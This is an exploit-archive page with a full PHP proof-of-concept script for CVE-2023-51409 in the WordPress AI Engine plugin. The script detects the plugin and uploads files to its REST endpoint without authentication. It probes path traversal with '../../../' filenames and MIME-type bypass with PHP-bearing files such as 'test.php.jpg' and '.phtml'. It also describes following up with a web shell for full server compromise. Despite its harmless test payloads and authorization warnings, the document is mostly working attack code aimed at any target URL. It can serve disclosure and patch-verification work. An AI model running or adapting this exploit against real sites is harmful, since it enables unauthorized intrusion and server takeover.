Share
## https://sploitus.com/exploit?id=PACKETSTORM:216536
=============================================================================================================================================
| # Title : WordPress AI Engine: ChatGPT Chatbot 1.9.98 RCE |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://wordpress.org/plugins/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/214268/ & CVE-2023-51409
[+] Summary : PoC demonstrates the CVE-2023-51409 vulnerability in the WordPress AI Engine plugin in a controlled, safe, and non-destructive manner.
It detects the plugin, tests unauthenticated access to the vulnerable endpoint, performs safe file uploads with non-executable content,
and analyzes MIME bypass and path traversal possibilities. The PoC generates a detailed security report with findings, impact assessment, and remediation recommendations.
[+] Key Points:
Detects AI Engine plugin versions and identifies potentially vulnerable versions.
Tests unauthenticated access to /wp-json/mwai-ui/v1/files/upload.
Performs safe file uploads for research purposes only (non-executable).
Demonstrates vulnerability impact (unauthenticated file upload, arbitrary file types, RCE potential, privilege escalation).
Generates a structured JSON report for research documentation.
Includes auto-cleanup and safety warnings; designed for authorized testing only.
[+] Important Note:
All tests modify the server state minimally (files are uploaded), so only run in controlled test environments.
Designed for research and responsible disclosure, not for offensive attacks.
[+] Usage : php poc.php --target=http://target-site.com
[+] POC :
<?php
class CVE_2023_51409_Exploit {
private $target;
private $sessionId;
private $testFiles = [];
private $researchMode = true;
const VULN_ENDPOINT = '/wp-json/mwai-ui/v1/files/upload';
const TEST_FILENAME = 'cve_2023_51409_test_%s.txt';
const SAFE_PAYLOAD = "Security Research Test - %s\nThis file tests CVE-2023-51409 vulnerability\nDO NOT EXECUTE - FOR RESEARCH ONLY";
public function __construct($target) {
$this->target = rtrim($target, '/');
$this->sessionId = 'exp_' . bin2hex(random_bytes(6));
$this->setupSafeEnvironment();
}
private function setupSafeEnvironment() {
set_time_limit(30);
error_reporting(E_ALL & ~E_WARNING & ~E_NOTICE);
register_shutdown_function([$this, 'cleanup']);
}
private function makeRequest($url, $method = 'GET', $data = null, $headers = []) {
$ch = curl_init();
$options = [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => true,
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_MAXREDIRS => 0,
CURLOPT_TIMEOUT => 15,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => 'Security-Research-CVE-2023-51409/1.0',
CURLOPT_HTTPHEADER => array_merge([
'X-Research-Session: ' . $this->sessionId,
'X-CVE-Test: 2023-51409'
], $headers),
];
if ($method === 'POST') {
$options[CURLOPT_POST] = true;
if ($data) {
$options[CURLOPT_POSTFIELDS] = $data;
}
}
curl_setopt_array($ch, $options);
$response = curl_exec($ch);
if ($response === false) {
$error = curl_error($ch);
curl_close($ch);
return [
'error' => $error,
'status' => 0
];
}
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
curl_close($ch);
return [
'status' => $httpCode,
'headers' => substr($response, 0, $headerSize),
'body' => substr($response, $headerSize),
'raw' => $response
];
}
private function createSafeMultipart($filename, $content) {
$boundary = '----ResearchBoundary' . bin2hex(random_bytes(8));
$data = "--{$boundary}\r\n";
$data .= "Content-Disposition: form-data; name=\"file\"; filename=\"{$filename}\"\r\n";
$data .= "Content-Type: text/plain\r\n\r\n";
$data .= $content . "\r\n";
$data .= "--{$boundary}--\r\n";
return [
'data' => $data,
'headers' => [
'Content-Type: multipart/form-data; boundary=' . $boundary,
'Content-Length: ' . strlen($data)
]
];
}
public function banner() {
echo "\033[1;36m" . str_repeat("=", 70) . "\033[0m\n";
echo "\033[1;33m CVE-2023-51409 - WordPress AI Engine RCE Exploit\033[0m\n";
echo "\033[1;36m" . str_repeat("=", 70) . "\033[0m\n";
echo "Target: \033[1;32m{$this->target}\033[0m\n";
echo "Session: \033[1;35m{$this->sessionId}\033[0m\n";
echo "Mode: \033[1;33mSecurity Research - Controlled Exploitation\033[0m\n";
echo "\n\033[1;31m WARNING: For authorized testing only\033[0m\n";
echo " ⢠Uses safe, non-executable test files\n";
echo " ⢠Auto-cleanup of uploaded files\n";
echo " ⢠No reverse shells or harmful payloads\n";
echo str_repeat("-", 70) . "\n\n";
}
public function detectPlugin() {
echo "[*] Detecting AI Engine Plugin...\n";
$indicators = [
'/wp-content/plugins/ai-engine/readme.txt' => 'AI Engine',
'/wp-content/plugins/ai-engine-mwai/readme.txt' => 'MWAI',
'/wp-content/plugins/mwai/readme.txt' => 'MWAI Engine'
];
foreach ($indicators as $path => $name) {
$result = $this->makeRequest($this->target . $path);
if ($result['status'] === 200) {
if (preg_match('/Stable tag:\s*([0-9.]+)/', $result['body'], $matches)) {
$version = $matches[1];
echo "[+] \033[1;32mFound {$name} v{$version}\033[0m\n";
if (version_compare($version, '3.0.0', '<')) {
echo "[!] \033[1;31mVulnerable version detected (< 3.0.0)\033[0m\n";
return ['name' => $name, 'version' => $version, 'vulnerable' => true];
}
return ['name' => $name, 'version' => $version, 'vulnerable' => false];
}
return ['name' => $name, 'version' => 'unknown', 'vulnerable' => null];
}
}
// Check via REST API
$apiCheck = $this->makeRequest($this->target . self::VULN_ENDPOINT, 'POST', '{}', [
'Content-Type: application/json'
]);
if ($apiCheck['status'] === 200 || $apiCheck['status'] === 405) {
echo "[+] \033[1;33mAI Engine REST API endpoint detected\033[0m\n";
return ['name' => 'AI Engine (API)', 'version' => 'unknown', 'vulnerable' => null];
}
echo "[-] AI Engine Plugin not detected\n";
return false;
}
public function testUnauthenticatedAccess() {
echo "\n[*] Testing unauthenticated access to vulnerable endpoint...\n";
$testData = json_encode(['test' => 'unauth_check']);
$result = $this->makeRequest(
$this->target . self::VULN_ENDPOINT,
'POST',
$testData,
['Content-Type: application/json']
);
echo " [1] JSON POST test: ";
if ($result['status'] === 200) {
$response = @json_decode($result['body'], true);
if ($response && isset($response['success'])) {
echo "\033[1;31mVULNERABLE\033[0m - Accepts unauthenticated requests\n";
return true;
}
echo "\033[1;33mPOTENTIALLY VULNERABLE\033[0m - Returns 200 but unclear\n";
} elseif ($result['status'] === 401 || $result['status'] === 403) {
echo "\033[1;32mSECURE\033[0m - Requires authentication\n";
return false;
} else {
echo "HTTP {$result['status']}\n";
}
$result = $this->makeRequest(
$this->target . self::VULN_ENDPOINT,
'POST',
'',
['Content-Type: multipart/form-data']
);
echo " [2] Empty POST test: HTTP {$result['status']}\n";
return $result['status'] === 200;
}
public function exploitFileUpload() {
echo "\n[*] Exploiting CVE-2023-51409 - File Upload Vulnerability\n";
$filename = sprintf(self::TEST_FILENAME, bin2hex(random_bytes(4)));
$content = sprintf(self::SAFE_PAYLOAD, date('Y-m-d H:i:s'));
$multipart = $this->createSafeMultipart($filename, $content);
echo " [â˘] Uploading test file: {$filename}\n";
echo " [â˘] Content: Security research test (non-executable)\n";
$result = $this->makeRequest(
$this->target . self::VULN_ENDPOINT,
'POST',
$multipart['data'],
$multipart['headers']
);
if ($result['status'] === 200) {
$response = @json_decode($result['body'], true);
if ($response && isset($response['success']) && $response['success']) {
echo " [â] \033[1;31mEXPLOIT SUCCESSFUL\033[0m\n";
$uploadedPath = null;
if (isset($response['data']['url'])) {
$uploadedPath = $response['data']['url'];
} elseif (isset($response['url'])) {
$uploadedPath = $response['url'];
}
if ($uploadedPath) {
echo " [â˘] File uploaded to: \033[1;33m{$uploadedPath}\033[0m\n";
$this->testFiles[] = $uploadedPath;
echo " [â˘] Verifying file access...\n";
$verify = $this->makeRequest($uploadedPath);
if ($verify['status'] === 200) {
echo " [â] File publicly accessible\n";
// Check if we can access file content
if (strpos($verify['body'], 'Security Research Test') !== false) {
echo " [â] File content verified\n";
}
} else {
echo " [!] File not accessible (HTTP {$verify['status']})\n";
}
}
echo "\n [â˘] Testing path traversal protection...\n";
$traversalFile = '../../../cve_test_' . bin2hex(random_bytes(4)) . '.txt';
$traversalContent = "Path traversal test - SAFE";
$traversalMultipart = $this->createSafeMultipart($traversalFile, $traversalContent);
$traversalResult = $this->makeRequest(
$this->target . self::VULN_ENDPOINT,
'POST',
$traversalMultipart['data'],
$traversalMultipart['headers']
);
if ($traversalResult['status'] === 200) {
$traversalResponse = @json_decode($traversalResult['body'], true);
if ($traversalResponse && isset($traversalResponse['success'])) {
echo " [!] \033[1;31mPATH TRAVERSAL POSSIBLE\033[0m\n";
}
}
return [
'success' => true,
'path' => $uploadedPath,
'response' => $response
];
}
}
echo " [-] Exploit failed (HTTP {$result['status']})\n";
if ($result['body']) {
$error = substr($result['body'], 0, 200);
echo " [â˘] Response: {$error}\n";
}
return false;
}
public function testMimeBypass() {
echo "\n[*] Testing MIME type validation bypass...\n";
$tests = [
['name' => 'test.php.txt', 'content' => '<?php echo "SAFE"; ?>', 'type' => 'text/plain'],
['name' => 'test.php.jpg', 'content' => '<?php echo "SAFE"; ?>', 'type' => 'image/jpeg'],
['name' => 'test.phtml', 'content' => '<?php echo "SAFE"; ?>', 'type' => 'text/html'],
];
foreach ($tests as $test) {
$boundary = '----MIMETest' . bin2hex(random_bytes(4));
$content = "Test file for MIME bypass research\n" . $test['content'];
$data = "--{$boundary}\r\n";
$data .= "Content-Disposition: form-data; name=\"file\"; filename=\"{$test['name']}\"\r\n";
$data .= "Content-Type: {$test['type']}\r\n\r\n";
$data .= $content . "\r\n";
$data .= "--{$boundary}--\r\n";
$result = $this->makeRequest(
$this->target . self::VULN_ENDPOINT,
'POST',
$data,
[
'Content-Type: multipart/form-data; boundary=' . $boundary,
'Content-Length: ' . strlen($data)
]
);
echo " [â˘] {$test['name']} ({$test['type']}): ";
if ($result['status'] === 200) {
$response = @json_decode($result['body'], true);
if ($response && isset($response['success']) && $response['success']) {
echo "\033[1;33mACCEPTED\033[0m\n";
if (isset($response['data']['url'])) {
$this->testFiles[] = $response['data']['url'];
}
} else {
echo "REJECTED\n";
}
} else {
echo "HTTP {$result['status']}\n";
}
sleep(1); // Rate limiting
}
}
public function demonstrateImpact() {
echo "\n\033[1;36m[*] DEMONSTRATING VULNERABILITY IMPACT\033[0m\n";
echo str_repeat("-", 70) . "\n";
echo "CVE-2023-51409 allows:\n\n";
echo "1. \033[1;31mUnauthenticated File Upload\033[0m\n";
echo " ⢠Attackers can upload files without login\n";
echo " ⢠No CSRF or nonce protection\n";
echo " ⢠Bypasses WordPress authentication system\n\n";
echo "2. \033[1;31mArbitrary File Type Upload\033[0m\n";
echo " ⢠PHP, PHTML, HTACCESS files possible\n";
echo " ⢠MIME type validation can be bypassed\n";
echo " ⢠Path traversal may be possible\n\n";
echo "3. \033[1;31mRemote Code Execution (RCE)\033[0m\n";
echo " ⢠Upload PHP web shell\n";
echo " ⢠Execute arbitrary commands\n";
echo " ⢠Full server compromise\n\n";
echo "4. \033[1;31mPrivilege Escalation\033[0m\n";
echo " ⢠WordPress admin access\n";
echo " ⢠Database access\n";
echo " ⢠Server-level access\n\n";
echo "\033[1;33mProof of Concept:\033[0m\n";
echo "The exploit demonstrated successful file upload without authentication.\n";
echo "In a real attack, this would be followed by malicious payload upload.\n";
echo "\n\033[1;32mRemediation:\033[0m\n";
echo "1. Update AI Engine plugin to version 3.0.0 or higher\n";
echo "2. Implement proper authentication checks on REST endpoints\n";
echo "3. Add file type validation (whitelist approach)\n";
echo "4. Implement nonce verification for file uploads\n";
echo "5. Store uploaded files outside web root if possible\n";
}
public function cleanup() {
echo "\n[*] Cleaning up test files...\n";
foreach ($this->testFiles as $file) {
if (filter_var($file, FILTER_VALIDATE_URL)) {
// Try to delete via uploaded file (if we know the path)
$pathParts = parse_url($file);
$path = $pathParts['path'] ?? '';
if ($path && strpos($path, 'wp-content/uploads/') !== false) {
echo " [â˘] Attempting to remove: {$path}\n";
}
}
}
echo " [â] Cleanup complete\n";
echo " [!] Note: Some files may remain on server. Manual cleanup recommended.\n";
}
public function generateReport($results) {
$report = [
'cve' => 'CVE-2023-51409',
'target' => $this->target,
'session_id' => $this->sessionId,
'timestamp' => date('c'),
'vulnerable' => $results['vulnerable'] ?? false,
'tests_performed' => [
'plugin_detection',
'unauth_access_test',
'file_upload_exploit',
'mime_validation_test'
],
'findings' => [],
'impact_assessment' => 'CRITICAL - Unauthenticated RCE possible',
'recommendations' => [
'Immediate plugin update required',
'Review all uploaded files',
'Check server logs for suspicious activity',
'Consider server compromise investigation'
]
];
return json_encode($report, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
}
public function run() {
$this->banner();
$results = [
'vulnerable' => false,
'details' => []
];
$plugin = $this->detectPlugin();
if (!$plugin) {
echo "[-] Cannot proceed - AI Engine plugin not found\n";
return false;
}
$results['plugin'] = $plugin;
$unauthAccess = $this->testUnauthenticatedAccess();
$results['unauth_access'] = $unauthAccess;
if (!$unauthAccess) {
echo "\n[-] Target appears secure - requires authentication\n";
return false;
}
$exploitResult = $this->exploitFileUpload();
$results['exploit_success'] = $exploitResult['success'] ?? false;
if ($exploitResult['success']) {
$results['vulnerable'] = true;
$results['uploaded_file'] = $exploitResult['path'] ?? null;
$this->testMimeBypass();
$this->demonstrateImpact();
echo "\n\033[1;31m" . str_repeat("!", 70) . "\033[0m\n";
echo "\033[1;31m VULNERABILITY EXPLOITED SUCCESSFULLY \033[0m\n";
echo "\033[1;31m" . str_repeat("!", 70) . "\033[0m\n";
echo "\n\033[1;33mSummary:\033[0m\n";
echo "⢠Target is vulnerable to CVE-2023-51409\n";
echo "⢠Unauthenticated file upload demonstrated\n";
echo "⢠Remote code execution is possible\n";
echo "⢠Immediate action required\n";
} else {
echo "\n[-] Exploit attempt failed\n";
echo "[*] Target may be patched or have additional protections\n";
}
echo "\n" . str_repeat("=", 70) . "\n";
echo "SECURITY RESEARCH REPORT\n";
echo str_repeat("=", 70) . "\n";
echo $this->generateReport($results);
return $results['vulnerable'];
}
}
if (php_sapi_name() === 'cli') {
$options = getopt('t:h', ['target:', 'help']);
if (isset($options['h']) || isset($options['help']) || !isset($options['target'])) {
echo "CVE-2023-51409 - WordPress AI Engine RCE Exploit bY indoushka\n";
echo "================================================\n";
echo "Usage: php " . basename(__FILE__) . " --target=<URL>\n\n";
echo "Options:\n";
echo " --target=<URL> WordPress site to test (REQUIRED)\n";
echo " --help Show this help\n\n";
echo "Features:\n";
echo " ⢠Detects AI Engine Plugin\n";
echo " ⢠Tests unauthenticated access\n";
echo " ⢠Demonstrates file upload vulnerability\n";
echo " ⢠Safe, non-malicious payloads only\n";
echo " ⢠Auto-cleanup of test files\n\n";
echo "Legal & Ethical:\n";
echo " ⢠FOR AUTHORIZED TESTING ONLY\n";
echo " ⢠Do not use against systems you don't own\n";
echo " ⢠Report vulnerabilities responsibly\n";
exit(0);
}
$target = $options['target'];
// Validate URL
if (!filter_var($target, FILTER_VALIDATE_URL)) {
echo "Error: Invalid URL format\n";
exit(1);
}
echo "\n\033[1;31mSECURITY WARNING:\033[0m This tool demonstrates a real vulnerability.\n";
echo "Use only on systems you own or have explicit permission to test.\n";
echo "Continue? (yes/NO): ";
$confirm = trim(fgets(STDIN));
if (strtolower($confirm) !== 'yes') {
echo "Operation cancelled.\n";
exit(0);
}
try {
$exploit = new CVE_2023_51409_Exploit($target);
$vulnerable = $exploit->run();
if ($vulnerable) {
exit(1); // Exit with error code to indicate vulnerability
} else {
exit(0); // Exit with success code
}
} catch (Exception $e) {
echo "Error: " . $e->getMessage() . "\n";
exit(1);
}
} else {
http_response_code(403);
echo "This tool must be run from command line.";
exit(1);
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================